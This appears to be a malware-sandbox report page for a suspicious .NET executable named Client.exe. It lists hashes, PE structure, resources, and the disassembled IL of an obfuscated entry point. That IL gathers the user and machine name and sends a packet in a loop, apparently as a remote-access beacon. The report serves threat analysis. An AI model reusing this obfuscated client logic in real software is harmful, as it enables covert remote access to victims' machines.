Suspicious
Suspect

4716e1f7fc7dffb45b1bd249bf897800

PE Executable
|
MD5: 4716e1f7fc7dffb45b1bd249bf897800
|
Size: 583.03 KB
|
application/x-dosexec

Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Very high

Hash
 Hash Value
MD5
4716e1f7fc7dffb45b1bd249bf897800
Sha1
f30a16d35a360b1eeaa409f18f29c5cc0db85196
Sha256
aa30d948e4f49cf82e268899427fcad2b5f0a49d231272ec5a7df08d4d8b8df0
Sha384
be7f82436a5debe0d7d91847e3303ee8ef6eb17f0ec22065049a4b6efee103df3214d6ef6eb587e1303c99a4270f7268
Sha512
54ed62bbf898b40ce631ca55f215caa16a9ce6e9f403f821bfcc9bfd3c58b8b7c04cc57995d0e001d921e0e72c44731e6929a0c0efb5a4aa8946f206bc355fcd
SSDeep
12288:LWzr2/NvJIUtDzodkTfNe+Y089iHcNWUR2:c2FCYwIN+ia3g
TLSH
26C428153F958E41E640197EC5BE6B41C722A4F222126387374BFB725D01ADEDE2C3EA

PeID

Microsoft Visual C++ DLL
Microsoft Visual C++ v6.0
File Structure
4716e1f7fc7dffb45b1bd249bf897800
[Authenticode]_61f6fa23.p7b
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rsrc
Resources
RT_ICON
ID:0001
ID:0
ID:0-preview.png
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
ID:0007
ID:0
ID:0008
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
js200glvk7j
tu2190meh1f
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Info

Authenticode present at 0x88E00 size 22392 bytes
Module Name

Client.exe
Full Name

Client.exe
EntryPoint

System.Void DDSxDlnFjuifgAaJj.wLReFxRUfRqN::amaxEsluxkrPdv(System.String[])
Scope Name

Client.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

Client
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.0
Total Strings

454
Main Method

System.Void DDSxDlnFjuifgAaJj.wLReFxRUfRqN::amaxEsluxkrPdv(System.String[])
Main IL Instruction Count

167
Main IL

ldc.r8 437 stloc V_3 br IL_004F: br IL_0012 nop <null> ldloc V_3 ldc.r8 437 ceq <null> brfalse IL_0035: nop nop <null> ldc.r8 448 stloc V_3 nop <null> ldloc V_3 ldc.r8 448 ceq <null> brfalse IL_004F: br IL_0012 br IL_0054: call System.Void DDSxDlnFjuifgAaJj.MgIWxSAbrIcdqIuZeo::zYpaaINcXpmF() br IL_0012: nop call System.Void DDSxDlnFjuifgAaJj.MgIWxSAbrIcdqIuZeo::zYpaaINcXpmF() call System.Void DDSxDlnFjuifgAaJj.DariRVPkPwtXsqUCBw::MSUWDPMWWARdBPwsvh() ldsfld System.String DDSxDlnFjuifgAaJj.MgIWxSAbrIcdqIuZeo::jPSfbjqShcAklEDzzM call System.String DDSxDlnFjuifgAaJj.eehdfmvmwo::xCLvALNnlsRDwWeHo() call System.String CFMHAaQXQCpsVqLOaSuc.VLKRecsXFGCOrhC::fucNgFjOUnKXCmEDzOLdNsVLb(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse IL_007C: ldsfld System.String DDSxDlnFjuifgAaJj.MgIWxSAbrIcdqIuZeo::tdHWVgOQqdUNIjpX call System.Void VbVxmpoEjVsAaHVnSRViW.qlssOvpFyC::eygDNyqKsOXSbiaTese() ldsfld System.String DDSxDlnFjuifgAaJj.MgIWxSAbrIcdqIuZeo::tdHWVgOQqdUNIjpX call System.Boolean CLSjkHuPvzrKJiV.icFLvoLRKbNThTPPCfrye::bcpWfkMrLbZoCh(System.String) brfalse IL_0278: leave IL_0283 call System.Void bOQEJXtzNdQzT.CklrYJkffASM::rvFTyXvarlRxAIJJtXcTz() call System.Void VbVxmpoEjVsAaHVnSRViW.IpdiFMoqgbeZ::ojIIiFlJqro() ldsfld DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD DDSxDlnFjuifgAaJj.wLReFxRUfRqN::aTIOlxXIWArhYXYvjJ ldfld System.Boolean DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD::nPOdyDcFRnM brtrue IL_0269: call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::IPfcCslqXmSRxOdnDmP() ldsfld System.String DDSxDlnFjuifgAaJj.MgIWxSAbrIcdqIuZeo::mwcpUrmLfVb call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::xDTFjXfXAcaqqZJAfeaaF() newarr System.Char dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::okxjiLgTEjkmzrqNihmO() call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::lodPzAxYXLQfQPiHzpTq() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_0 ldloc V_0 ldsfld System.Random VbVxmpoEjVsAaHVnSRViW.IpdiFMoqgbeZ::ZdWiudBVnFNBiQgP ldloc V_0 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem.ref <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::YrFDaSJSwsoqxDwUUiLj() newarr System.Char dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::gXTGicHFjsSYCNwXLZhnFbSc() call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::TLmneGIGlrTmxrqCNNAVSu() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_1 ldloc V_1 call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::zwJIdvpEFrSPQURElKRRVc() ldelem.ref <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::OiqkrOSHWZVmqVxeKwmOv() newarr System.Char dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::bahwIOKAdUWLvanKxqm() call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::vquhaiogGUjOpjGQDvFE() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_2 ldsfld DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD DDSxDlnFjuifgAaJj.wLReFxRUfRqN::aTIOlxXIWArhYXYvjJ callvirt System.Void DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD::LJlWMCNYVXNpelrQvW() ldsfld DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD DDSxDlnFjuifgAaJj.wLReFxRUfRqN::aTIOlxXIWArhYXYvjJ ldloc V_1 call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::VvBPfaXrzywbLjlgAVaaetIl() ldelem.ref <null> ldloc V_2 ldsfld System.Random VbVxmpoEjVsAaHVnSRViW.IpdiFMoqgbeZ::ZdWiudBVnFNBiQgP ldloc V_2 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem.ref <null> callvirt System.Void DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD::whZXQGIQBGGdTlIfMpEecZTkt(System.String,System.String) ldsfld DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD DDSxDlnFjuifgAaJj.wLReFxRUfRqN::aTIOlxXIWArhYXYvjJ ldfld System.Boolean DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD::nPOdyDcFRnM brfalse IL_0269: call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::IPfcCslqXmSRxOdnDmP() ldsfld DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD DDSxDlnFjuifgAaJj.wLReFxRUfRqN::aTIOlxXIWArhYXYvjJ ldsfld DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD DDSxDlnFjuifgAaJj.wLReFxRUfRqN::aTIOlxXIWArhYXYvjJ newobj System.Void VbVxmpoEjVsAaHVnSRViW.RFpZCUyjzgy::.ctor(DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD) stfld VbVxmpoEjVsAaHVnSRViW.RFpZCUyjzgy DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD::fxfpvnbfMWCzznnnPkreWbnW ldsfld DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD DDSxDlnFjuifgAaJj.wLReFxRUfRqN::aTIOlxXIWArhYXYvjJ ldsfld DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD DDSxDlnFjuifgAaJj.wLReFxRUfRqN::aTIOlxXIWArhYXYvjJ newobj System.Void VbVxmpoEjVsAaHVnSRViW.WwcLDnVuopuBdNbzLMrbFWes::.ctor(DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD) stfld VbVxmpoEjVsAaHVnSRViW.WwcLDnVuopuBdNbzLMrbFWes DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD::IosGCpRLTxHaRWVbIrRMP ldsfld DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD DDSxDlnFjuifgAaJj.wLReFxRUfRqN::aTIOlxXIWArhYXYvjJ call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::VMTWHBkinaut() newarr System.Object dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::vIQoGWmmezVkDaf() call System.String DDSxDlnFjuifgAaJj.eehdfmvmwo::SWOvzTJbJoeFavpqVdQuLrJE() call System.String CFMHAaQXQCpsVqLOaSuc.VLKRecsXFGCOrhC::fucNgFjOUnKXCmEDzOLdNsVLb(System.String) stelem.ref <null> dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::SbnPHJNEUswLtYJqmiZ() call System.Byte[] VbVxmpoEjVsAaHVnSRViW.IpdiFMoqgbeZ::MzLXlbCbdHm() stelem.ref <null> dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::JpnmyWrMxmEbFEU() ldsfld System.String DDSxDlnFjuifgAaJj.MgIWxSAbrIcdqIuZeo::gQODpJwqaRiUGeTKcPCw stelem.ref <null> dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::HeKmuMUOZbtFqexUAOUcoBQkR() ldsfld System.String DDSxDlnFjuifgAaJj.MgIWxSAbrIcdqIuZeo::fKBTZzVjqvfe stelem.ref <null> dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::GhnUFoDKjI() call System.String System.Environment::get_UserName() call System.String DDSxDlnFjuifgAaJj.eehdfmvmwo::HwwWqpChBSeICCsmZCY() call System.String CFMHAaQXQCpsVqLOaSuc.VLKRecsXFGCOrhC::fucNgFjOUnKXCmEDzOLdNsVLb(System.String) call System.String System.Environment::get_MachineName() call System.String System.String::Concat(System.String,System.String,System.String) stelem.ref <null> dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::nWxVYMWdlVTpjbrks() ldsfld System.String DDSxDlnFjuifgAaJj.MgIWxSAbrIcdqIuZeo::qcToEHZqyfWTZmqx stelem.ref <null> dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::FNaUtFmbEWECf() ldsfld System.String DDSxDlnFjuifgAaJj.MgIWxSAbrIcdqIuZeo::WxeZVppxRGJiG stelem.ref <null> dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::pxMrWHPouGffnsDtNELAeuxS() ldsfld System.String DDSxDlnFjuifgAaJj.MgIWxSAbrIcdqIuZeo::ZpGLHDnVMdnCXlFzo stelem.ref <null> dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::sixIAYjqYzmOzNktQT() ldsfld System.String DDSxDlnFjuifgAaJj.MgIWxSAbrIcdqIuZeo::awiLNgJQoagNAcVv stelem.ref <null> dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::oNRuXKIAqeQuAuO() ldsfld System.String DDSxDlnFjuifgAaJj.MgIWxSAbrIcdqIuZeo::WuwshwUmdqnBQHsHxeSb stelem.ref <null> dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::ZSgtiwpPsQfOqbGNbdd() ldsfld System.String DDSxDlnFjuifgAaJj.MgIWxSAbrIcdqIuZeo::wZvVMIMEVNj stelem.ref <null> dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::aoZxrYtLHFmTki() ldsfld System.String DDSxDlnFjuifgAaJj.MgIWxSAbrIcdqIuZeo::XIkNSbSZoFJCPR stelem.ref <null> dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::bkZlsYCBGfuJP() ldsfld System.String DDSxDlnFjuifgAaJj.MgIWxSAbrIcdqIuZeo::DZjrgaczoBBxMbWlelZDX stelem.ref <null> dup <null> call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::DSWQzEktjCJDdIneL() call System.String VbVxmpoEjVsAaHVnSRViW.IpdiFMoqgbeZ::GQXonjEvnueiR() stelem.ref <null> call System.Byte[] DDSxDlnFjuifgAaJj.PfHqVsvpdzTgpcduSab::rTBtuRwMHiPYrWSnzMmU(System.Object[]) callvirt System.Void DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD::kxAQBhAUWYTkrWtIXhse(System.Byte[]) call System.Int32 DDSxDlnFjuifgAaJj.eehdfmvmwo::IPfcCslqXmSRxOdnDmP() call System.Void System.Threading.Thread::Sleep(System.Int32) br IL_0095: ldsfld DDSxDlnFjuifgAaJj.ElPyfjrZEeuuBYsSD DDSxDlnFjuifgAaJj.wLReFxRUfRqN::aTIOlxXIWArhYXYvjJ leave IL_0283: ret pop <null> leave IL_0283: ret ret <null>
4716e1f7fc7dffb45b1bd249bf897800 (583.03 KB)
File Structure
4716e1f7fc7dffb45b1bd249bf897800
[Authenticode]_61f6fa23.p7b
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rsrc
Resources
RT_ICON
ID:0001
ID:0
ID:0-preview.png
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
ID:0007
ID:0
ID:0008
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
js200glvk7j
tu2190meh1f
Characteristics
No malware configuration were found at this point.
You must be signed in to post a comment.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙